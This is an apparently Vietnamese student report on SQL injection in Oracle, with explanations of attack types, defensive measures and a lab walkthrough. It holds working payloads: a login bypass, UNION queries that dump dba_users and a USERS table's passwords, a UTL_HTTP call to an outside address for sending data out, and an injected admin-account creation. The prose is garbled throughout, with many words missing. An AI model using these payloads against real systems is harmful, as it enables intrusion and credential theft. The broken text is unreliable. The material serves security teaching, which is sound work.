Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 23 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
23
Dung lượng
429,01 KB
Nội dung
Tìm hiểu công SQL Injection Oracle HỌC VIỆN KỸ THUẬT MẬT MÃ Khoa an toàn thông tin ĐỀ TÀI: SQL injection Oracle Giảng viên hướng dẫn: Trần Thị Lượng Sinh viên thực Trần Trọng Kỳ : Đinh Thị Thủy Tiên Đặng Trung Kiên Lớp : AT9A Tìm hiểu công SQL Injection Oracle Hà Nội - Mục lục Chương I Tổng Quan I.1 SQL injection gì? SQL injection kỹ thuật cho phép kẻ công lợi dụng lỗ hổng việc kiểm tra liệu đầu vào ứng dụng web thông báo lỗi hệ quản trị sở liệu trả để inject (tiêm vào) thi hành câu lệnh SQL bất hợp pháp SQL injection cho phép kẻ công thực thao tác, delete, insert, update,… sở liệu ứng dụng, chí server mà ứng dụng chạy, lỗi thường xảy ứng dụng web có liệu quản lý hệ quản trị sở liệu SQL Server, MySQL, Oracle, DB2, Sysbase Tìm hiểu công SQL Injection Oracle I.2 Tấn công SQL Injection với Oracle so với DBMS khác: Việc công SQL Injection Oracle nhìn chung khó khăn DBMS khác oracle hỗ trợ cú pháp hơn, cú pháp EXCUTE (của SQL Server), chức INTO OUTFILE (của MySQL) Ngoài ra, sử dụng ràng buộc cho biến môi trường Oracle giúp tốt cho việc bảo vệ khỏi công SQL Injection Oracle cung cấp phương pháp bảo vệ mạnh mẽ để chống lại SQL Injection so với DBMS khác, nhiên, ứng dụng sử dụng Oracle biện pháp bảo vệ việc bị công SQL Injection điều xảy ra, đặc biệt ứng dụng web Chương II SQL Injection II.1 Các loại công SQL Injection CSDL Oracle Có bốn loại chính: SQL Manipulation Code Injection Function Call Injection Buffer Overflows Tìm hiểu công SQL Injection Oracle Ở hai loại đầu tiên, SQL Manipulation Code Injection hai loại công phổ biến tất DBMS (bao gồm SQL Server, MySQL, ProgressSQL, Oracle) SQL Manipulation kiểu công sửa đổi câu lệnh SQL, thêm mệnh đề vào câu lệnh SQL để làm cho Phổ biến sửa đổi mệnh đề WHERE phiên đăng nhập để bỏ qua việc xác thực người dùng Code Injection kẻ công chèn câu lệnh SQL câu lệnh DBMS vào câu lệnh SQL khác Điển hình thêm câu lệnh thực thi SQL để làm cho câu lệnh bị lỗi Code Injection hoạt động database server hỗ trợ chạy nhiều câu lệnh SQL lúc (SQL Server PostgreSQL hỗ trợ chức này, chạy nhiều lệnh với Oracle) Function Call Injection việc chèn Function Oracle fuction tùy ý vào câu lệnh SQL dễ bị tổn thương Các function gọi gọi chức hệ thống thực thao tác liệu database SQL injection of buffer overflows phần Function Call Injection Trong số CSDL thương mại mã nguồn mở, lỗ hổng tồn số function gây lỗi tràn đệm Nếu CSDL chưa cập nhật vá dính phải lỗi II.2 Nguyên nhân Tấn công SQL Injection lý liệu nhập vào người dùng cuối không kiểm tra kĩ lưỡng trước đưa vào câu truy vấn SQL stored procedure II.3 Giải pháp Sử dụng bind-varible biện pháp chống lại công SQL injection Oracle Tìm hiểu công SQL Injection Oracle Bind-variable: kỹ thuật viết mã không gán giá trị cố định, kỹ thuật giúp tăng tính sẵn sàng, hiệu bảo mật cho hệ thống Oracle Ví dụ: Mã không dùng Bind-Variable BEGIN UPDATE employees SET SALARY=SALARY + 100 WHERE employee_id = 100; END; Mã dùng Bind-Variable DECLARE bind_var NUMBER := 100; BEGIN UPDATE employees SET SALARY=SALARY + 100 WHERE employee_id = bind_var; END; Chương III Các phương thức công Như nói phần công SQL injection bao gồm loại phổ biến, chương sâu vào loại công III.1 SQL Maniputation Đây dạng công phổ biến kĩ thuật công SQL Injection Kẻ công cố gắng để sửa đổi câu lệnh SQL có cách thêm điều kiện Tìm hiểu công SQL Injection Oracle cho mệnh đề WHERE mở rộng câu lệnh UNION, INTERSECT MINUS SQL Maniputation chủ yếu sử dụng để bỏ qua xác thực đăng nhập, ví dụ: Câu lệnh truy vấn SQL: SELECT * FROM users WHERE username = 'bob' and PASSWORD = ' mypassword' Kẻ công làm câu truy vấn cách sau: SELECT * FROM users WHERE username = 'bob' and PASSWORD = ' mypassword' or 'a' = 'a' Căn vào thứ tự ưu tiên hệ thống, mệnh đề WHERE hiển nhiên kẻ công đăng nhập vào hệ thống password Một toán tử mà kẻ công hay sử dụng SQL maniputation UNION, có tác dụng nối câu lệnh với với mục đích lấy hàng bảng tại, ví dụ: SELECT product_name FROM all_products WHERE product_name like '%Chairs%' Kẻ công cố gắng sửa câu truy vấn SQL thành sau để khai thác: SELECT product_name FROM all_products WHERE product_name like '%Chairs' UNION SELECT username FROM dba_users WHERE username like '% ' Tìm hiểu công SQL Injection Oracle Kết trả danh sách sản phẩm kèm theo thông tin nhạy cảm danh sách tài khoản bảng dba_users III.2 Code injection Đây kiểu công thêm câu truy vấn khác đằng sau câu truy vấn có, kiểu công thường gặp DBMS microsoft (SQL server), thấy Oracle Trong PL/SQL Java, Oracle không hỗ trợ nhiều câu truy vấn request đến database Do đó, công dạng không gặp CSDL Oracle thông qua PL/SQL ứng dụng java Các request chứa nhiều câu lệnh bị trả kết thông báo lỗi Ví dụ: SELECT * FROM users WHERE username = 'bob' and PASSWORD = ' mypassword'; DELETE FROM users WHERE username = 'admin'; PL/SQL Java applications truy xuất tự động block PL/SQL, điểm yếu dễ bị khai thác Sau ví dụ block PL/SQL thực ứng dụng web: BEGIN ENCRYPT_PASSWORD(' bob', ' mypassword'); END; Ở ví dụ trên, block PL/SQL truy xuất stored procedure để mã hóa mật người dùng Kẻ công lợi dụng điểm để chèn vào đoạn code sau: BEGIN ENCRYPT_PASSWORD('bob', ' mypassword'); DELETE FROM users WHERE upper(username) = upper('admin'); END; Tìm hiểu công SQL Injection Oracle Như vậy, sau mã hóa mật khẩu, hệ thống lại tiếp tục thực câu lệnh sau xóa user admin bảng users III.3 Function Call Injection CSDL Oracle cho phép function thực thi phần câu lệnh SQL Oracle cung cấp 1000 function nằm 175 package tiêu chuẩn CSDL có vài function sử dụng công SQL Injection Bất function tùy chỉnh thực thi phần câu lệnh SQL Một function thực thi câu lệnh SELECT không phép thay đổi thứ database, trừ function đánh dấu “Fragma Transaction” Trong gói tiêu chuẩn Oracle function thực autonomous transactions Function thực thi câu lệnh INSERT, UPDATE DELETE sửa đổi liệu CSDL Đối với function tiêu chuẩn có sẵn Oracle, kẻ công gửi liệu đến máy tính khác để đánh cắp thông tin Ngoài function package tiêu chuẩn Oracle, thêm function package tùy chỉnh dễ có function có chức thay đổi mật thực transaction nhạy cảm khác Ngay câu lệnh đơn giản bị lợi dụng để khai thác thông tin, sau ví dụ minh họa: SELECT TRANSLATE(' user input', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') Tìm hiểu công SQL Injection Oracle FROM dual; Kẻ công nhập vào chuỗi dạng sau để sửa đổi nội dung câu lệnh SELECT TRANSLATE(' ' || UTL_HTTP.REQUEST('http://192.168.1.1/') || '', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual; Câu lệnh gửi http request đến địa 192.168.1.1 Kẻ công thay đổi vài thông số để lấy thông tin hữu ích gửi đến theo địa URL TRANSLATE function tiêu chuẩn Oracle, nên sửa thông tin câu truy vấn SELECT Sau ví dụ việc sửa thông tin database cách sử dụng function tùy chỉnh Chúng ta sử dụng function ADDUSER nằm function package MYAPPADMIN người phát triển đánh dấu function “PRAGMA TRANSACTION” Khi đánh dấu “PRAGMA TRANSACTION” sửa CSDL nằm câu truy vấn SELECT: SELECT TRANSLATE(' ' || myappadmin.adduser('admin', 'newpass') || '', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual; Thực thi câu lệnh trên, kẻ công thêm tài khoản ‘admin’ với mật ‘newpass’ vào CSDL Tìm hiểu công SQL Injection Oracle III.4 Buffer Overflow Lỗi tràn đệm khai thác thông qua lỗi function có sẵn Oracle chưa vá lỗi Các function gây lỗi tràn đệm: tz_offset, to_timestamp_tz, bfilename Khi xảy tràn đệm, ứng dụng bị treo client chấm dứt kết nối với CSDL 10 Tìm hiểu công SQL Injection Oracle Chương IV Phòng chống SQL Injection Các biện pháp an ninh hệ thống thông tin triển khai theo nguyên tắc phòng thủ theo chiều sâu, biện pháp phòng chống SQL Injection đề cập theo hướng mô hình Các nội dung đề cập bao gồm việc xây dựng mã nguồn đảm bảo an toàn, cấu hình máy chủ database, DBMS công cụ dạng tường lửa IV.1 Phòng chống từ mức xây dựng mã nguồn ứng dụng Có thể coi công việc quan trọng cần xử lý chuỗi thao tác Có hai mô hình áp dụng cho việc lọc liệu đầu vào whitelist blacklist a, Mô hình danh sách cho phép (whitelist) Mô hình whitelist liệt kê danh sách giá trị input cho phép, xây dựng ứng dụng người phát triển phải hiểu rõ logic nghiệp vụ ứng dụng cần xây dựng Phương pháp đơn giản xây dựng mẫu (pattern) hợp lệ sử dụng biểu thức quy (regular expression) Có vài ví dụ biểu thức quy áp dụng cho username, email, sau đây: - Username: Chỉ chứa ký tự chữ cái, chữ số, dấu gạch dưới, độ dài thiểu 4, tối đa 50: ^([a-zA-Z0-9]|_){4,50}$ - Email: Chỉ chứa ký tự chữ cái, chữ số, dấu gạch dưới, dấu chấm ký tự @ có dạng sau: ( |^)[a-zA-Z]+([a-zA-Z0-9]|_)*@([a-z0-9]+.){1,}[a-z]+( |$) b, Mô hình danh sách cấm (Blacklist) Mô hình xây dựng nên mẫu input cho nguy hiểm không chấp nhận mẫu Mô hình blacklist hiệu mô hình whitelist vì: 11 Tìm hiểu công SQL Injection Oracle - Số lượng input xấu lớn, xét đủ - Khó cập nhật mẫu Ưu điểm blacklist so với whitelist dễ xây dựng Thông thường mô hình không nên sử dụng mà nên sử dụng với whitelist Nếu sử dụng blacklist thiết cần phải mã hóa output để giảm thiểu nguy rò rỉ thông tin Ví dụ mẫu lọc ký tự nguy hiểm thường có SQL: ‘|%| |;|?|/\*|\\\*|_|\[|@|xp_ IV.2 Các biện pháp bảo vệ từ mức tảng hệ thống Các biện pháp bảo vệ từ mức tảng hệ thống biện pháp cải tiến thời gian hoạt động thay đổi cấu hình cho nâng cao mức độ an ninh tổng thể ứng dụng a, Các biện pháp bảo vệ tức thời Những biện pháp bảo vệ tức thời biện pháp áp dụng mà không cần phải thực lại việc biên dịch lại mã nguồn Các biện pháp bảo vệ thời gian hoạt động công cụ hữu ích nhằm phòng tránh việc lợi dụng điểm yếu SQL injection xác định Ứng dụng tường lửa web ứng dụng bố trí đóng vai trò trung gian client web server, làm nhiệm vụ điều phối thông tin luân chuyển, cân tải Một ứng dụng WAF bố trí sau: 12 Tìm hiểu công SQL Injection Oracle Hình 1: Vị trí tường lửa web luồng thông tin b, Các biện pháp bảo vệ Database: Các biện pháp bảo vệ database nhằm đề phòng trường hợp xấu, kẻ công khai thác điểm yếu từ điểu khiển hoạt động database nhằm ăn cắp liệu làm bàn đạp để thâm nhập vào hệ thống bên trong, đằng sau database - Giới hạn phạm vi ảnh hưởng ứng dụng: Các biện pháp đề phòng, chuẩn bị cho trường hợp xấu kẻ công xâm nhập vào database: + Cấp quyền ưu tiên tối thiểu cho tài khoản đăng nhập vào database + Hủy bỏ quyền public: Các database thường cung cấp số chế độ mặc định cho tất đăng nhập, chế độ có tập mặc định quyền, bao gồm việc truy cập tới số đối tượng thuộc hệ thống Các chế độ công khai đôi 13 Tìm hiểu công SQL Injection Oracle cung cấp quyền truy cập tới stored-procedure có sẵn, số package, function sử dụng cho mục đích quản trị + Sử dụng Stored-procedure: trường hợp này, stored-procedure có vai trò đóng gói quyền ứng dụng cần vừa đủ để thực công việc + Sử dụng thuật toán mã hóa mạnh để mã hóa lưu trữ thông tin nhạy cảm - Giới hạn phạm vi ảnh hưởng ứng dụng: + Khóa quyền truy cập tới đối tượng có đặc quyền, ví dụ tiện ích quản trị, tiện ích thực thi gián tiếp lệnh phía hệ điều hành, tiện ích sinh kết nối tới đối tượng, database khác + Hạn chế truy vấn đặc biệt: câu lệnh OPENROWSET SQL server ví dụ Việc sử dụng câu lệnh giúp kẻ công cướp quyền truy vấn thực kết nối tới database khác chế độ xác thực lỏng lẻo + Luôn cập nhật vá lỗi DBMS Thực tế cho thấy không hệ thống ứng dụng web coi an toàn tuyệt đối Các giải pháp an ninh hệ thống hướng tới việc bảo vệ hệ thống cách tối đa giảm thiểu nguy công xuống mức tối thiểu Một mô hình an ninh nhiều mức lựa chọn sáng suốt cho vấn đề Vì nhà phát triển cẩn phải biết cách chọn mô hình cho phù hợp với hoàn cảnh điều kiện để đạt hiệu suất tốt 14 Tìm hiểu công SQL Injection Oracle Chương V Khai thác SQLinjection oracle V.1: Khai thác thông qua lỗi đăng nhập Truy cập địa trang web http://localhost:81/indext.php ta có giao diện hình sau : Tiến hành thực bypass login câu truy vấn ô username Password ta điền kí tự thu hình Như ta đăng nhập thành công mà không cần có username password tài khoản 15 Tìm hiểu công SQL Injection Oracle V.2 Khai thác lấy toàn username password database Sau ta đăng nhập vào từ bước trước ta chuyển đến trang thông tin cá nhân Admin, ta thấy việc tương tác với sở liệu thông qua tham số id , thay đổi id=2,3,4… tìm thông tin user Việc thông tin hiển thị sở liệu thường không cho hacker cách nhìn toàn diện, thông số password , username không hiển thị.Do , kiểm tra input để tìm kiếm lỗi SQL Injection cần thiết để khai thác thông tin Kiểm tra lỗi SQLinjection thông số id 16 Tìm hiểu công SQL Injection Oracle Như vậy, sử dụng câu truy vấn : Ta xem liên tục thông tin user khác Tiếp theo tìm số cột bảng Chúng ta sử dụng cậu lệnh order by giống MySQL để tìm kiếm số cột, câu lệnh xếp dựa vào số lượng cột, số cột nằm lượng xếp sinh lỗi Bắt đầu từ sinh lỗi Sử dụng câu truy vấn sau : http://localhost:81/profile.php?id=1’ order by x - 17 Tìm hiểu công SQL Injection Oracle Ở cột thứ sinh lỗi, tức có cột tìm thấy Kiểm tra user sử dụng câu truy vấn Khi ta biết số cột sở liệu ta bắt đầu tiến hành inject câu truy vấn trái phép để thăm dò liệu http:// localhost:81/profile.php?id=1' UNION SELECT NULL,NULL,NULL,NULL,NULL,user FROM dual - Như quyền user mà ta kiểm tra user SYSTEM 18 Tìm hiểu công SQL Injection Oracle Tiếp theo ta tiến hành kiểm tra tên sở liệu sử dụng câu truy vấn : http:// localhost:81/profile.php?id=1' UNION SELECT NULL,NULL,NULL,NULL,NULL,sys.database_name FROM dual - Như ta thu tên sở liệu ORCL 19 Tìm hiểu công SQL Injection Oracle Bước ta tiến hành kiểm tra toàn số tables có sở liệu ORCL cách sử dụng câu truy vấn http:// localhost:81/profile.php?id=1' UNION SELECT NULL,NULL,NULL,NULL,NULL,table_name FROM all_tables Như ta thu tên tables có sở liệu ,và tables ta quan tâm USERS Khi ta có toàn số talbes sở liệu ta tiến hành tìm kiếm số column tables câu truy vấn http:// localhost:81/profile.php?id=1' UNION SELECT NULL,NULL,NULL,NULL,NULL,column_name FROM all_tab_columns where table_name='USERS' - 20 Tìm hiểu công SQL Injection Oracle Bước cuối ta có hết tables colums sở liệu ta tiến hành lấy hết thông tin có chứa column tables sở liệu Bằng cách sử dụng câu truy vấn http://localhost:81/profile.php?id=1' UNION SELECT NULL,NULL,NULL,NULL,username,password FROM USERS - 21 Tìm hiểu công SQL Injection Oracle Như lấy toàn thông tin username password có sở liệu 22 Tìm hiểu công SQL Injection Oracle Danh mục tài liệu: 23